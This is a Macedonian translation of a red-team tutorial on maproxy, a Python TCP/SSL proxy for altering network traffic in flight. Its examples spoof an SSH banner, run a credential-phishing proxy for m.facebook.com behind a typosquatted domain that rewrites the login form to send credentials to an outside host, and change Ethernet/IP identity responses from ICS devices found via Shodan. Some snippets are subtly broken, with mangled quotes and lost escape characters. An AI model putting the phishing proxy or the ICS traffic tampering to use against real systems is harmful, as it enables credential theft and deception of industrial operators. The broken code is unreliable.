Преводот на статијата е подготвен во пресрет на почетокот на курсот
Апстракт
Различни видови безбедносни проценки, кои се движат од редовно тестирање на пенетрација и операции на Red Team до хакирање на IoT/ICS уреди и SCADA, вклучуваат работа со бинарни мрежни протоколи, односно суштински пресретнување и менување на мрежните податоци помеѓу клиентот и целта. Снимањето на мрежниот сообраќај не е тешка задача бидејќи имаме алатки како Wireshark, Tcpdump или Scapy, но измената се чини дека е повеќе трудоинтензивна задача бидејќи ќе треба да имаме некој вид интерфејс за да ги читаме мрежните податоци, да ги филтрираме, менуваме во лет и испратете го назад до целниот домаќин во речиси реално време. Дополнително, би било идеално таквата алатка да може автоматски да работи со повеќе паралелни врски и да биде приспособлива со помош на скрипти.
Еден ден открив алатка наречена
, документацијата брзо ми го разјасни тоа maproxy
– само она што ми треба. Ова е прилично едноставен, разновиден и лесно конфигуриран TCP прокси. Ја тестирав оваа алатка на неколку прилично сложени апликации, вклучително и ICS уреди (кои генерираат многу пакети) за да видам дали може да се справи со многу паралелни врски и алатката добро функционираше.
Оваа статија ќе ве запознае со обработката на мрежните податоци во лет со користење maproxy
.
Преглед
Алатка maproxy
се базира на Tornado, популарна и зрела асинхрона мрежна рамка во Python.
Во принцип, може да работи во неколку режими:
TCP:TCP
– нешифрирани TCP конекции;TCP:SSL
иSSL:TCP
– со еднонасочно шифрирање;SSL:SSL
– двонасочно шифрирање.
Доаѓа како библиотека. За брз почеток, можете да користите пример датотеки што ја одразуваат главната
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Случај 1 – едноставен двонасочен прокси
Базирано на tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
По дифолт ProxyServer()
зема два аргументи - локацијата за поврзување и целната порта. server.listen()
зема еден аргумент - портата за слушање на дојдовната врска.
Извршување на сценариото:
# python tcp2tcp.py
За да го извршиме тестот, ќе се поврземе со локален SSH сервер преку нашата скрипта за прокси, која слуша на 2222/tcp
порта и се поврзува со стандардна порта 22/tcp
SSH сервери:
Банерот за добредојде ве информира дека нашата примерна скрипта успешно го проксира мрежниот сообраќај.
Случај 2 – модификација на податоците
Уште една демо скрипта logging_proxy.py
идеален за интеракција со мрежни податоци. Коментарите во датотеката ги опишуваат методите на класата што можете да ги измените за да ја постигнете вашата цел:
Најинтересното е тука:
on_c2p_done_read
– да пресретнува податоци на патот од клиентот до серверот;on_p2s_done_read
- обратно.
Ајде да се обидеме да го смениме банерот SSH што серверот го враќа на клиентот:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Извршете го сценариото:
Како што можете да видите, клиентот беше доведен во заблуда бидејќи името на серверот SSH за него беше сменето во «DumnySSH»
.
Случај 3 – едноставна веб-страница за фишинг
Има бескрајни начини за користење на оваа алатка. Овој пат да се фокусираме на нешто попрактично од оперативната страна на Црвениот тим. Ајде да ја имитираме целната страница m.facebook.com
и користете приспособен домен со намерна печатна грешка, на пример, m.facebok.com
. За целите на демонстрација, само да претпоставиме дека доменот е регистриран од нас.
Ќе воспоставиме нешифрирана мрежна врска со нашиот прокси за жртви и SSL Stream до серверот на Facebook (31.13.81.36
). За да функционира овој пример, треба да го замениме заглавието на HTTP-домаќинот и да го внесеме точното име на домаќинот, а исто така ќе ја оневозможиме компресијата на одговорот за да можеме лесно да пристапиме до содржината. На крајот ќе ја замениме формата HTML така што акредитациите за најава ќе ни бидат испратени наместо серверите на Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/mk/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Во краток преглед:
Како што можете да видите, успеавме успешно да го замениме оригиналниот сајт.
Случај 4 – Пренесување на етернет/IP
Веќе подолго време се занимавам со индустриски уреди и софтвер (ICS/SCADA), како што се програмабилни контролери (PLC), I/O модули, погони, релеи, средини за програмирање скали и многу повеќе. Овој случај е за оние кои сакаат индустриски работи. Хакирањето на таквите решенија вклучува активно играње со мрежните протоколи. Во следниот пример, би сакал да покажам како можете да го измените сообраќајот на мрежата ICS/SCADA.
За ова ќе ви треба следново:
- Мрежен трагач, на пример, Wireshark;
- Ethernet/IP или само SIP уред, можете да го најдете користејќи ја услугата Shodan;
- Нашето сценарио се заснова на
maproxy
.
Прво, да погледнеме како изгледа типичен одговор за идентификација од CIP (Заеднички индустриски протокол):
Идентификацијата на уредот се постигнува со помош на протоколот Ethernet/IP, кој е подобрена верзија на индустрискиот етернет протокол кој ги обвиткува контролните протоколи како што е CIP. Ќе го промениме означеното име на ID што е видливо на сликата од екранот „NI-IndComm за етернет“ користејќи ја нашата скрипта за прокси. Би можеле повторно да го искористиме сценариото logging_proxy.py
и слично модифицирајте го методот на класа on_p2s_done_read
, бидејќи сакаме различно име на идентитет да биде видливо на клиентот.
Код:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Во суштина, двапати побаравме идентификација на уредот, вториот одговор беше оригиналниот, а првиот беше изменет во лет.
И последното
Според мое мислење maproxy
Удобна и едноставна алатка, која е напишана и во Python, па верувам дека и вие можете да имате корист од нејзиното користење. Се разбира, постојат посложени алатки за обработка и измена на мрежните податоци, но тие бараат и поголемо внимание и обично се креираат за одреден случај на употреба, на пр. maproxy
можете брзо да ги имплементирате вашите идеи за пресретнување мрежни податоци, бидејќи примерите на скрипти се многу јасни.
Извор: www.habr.com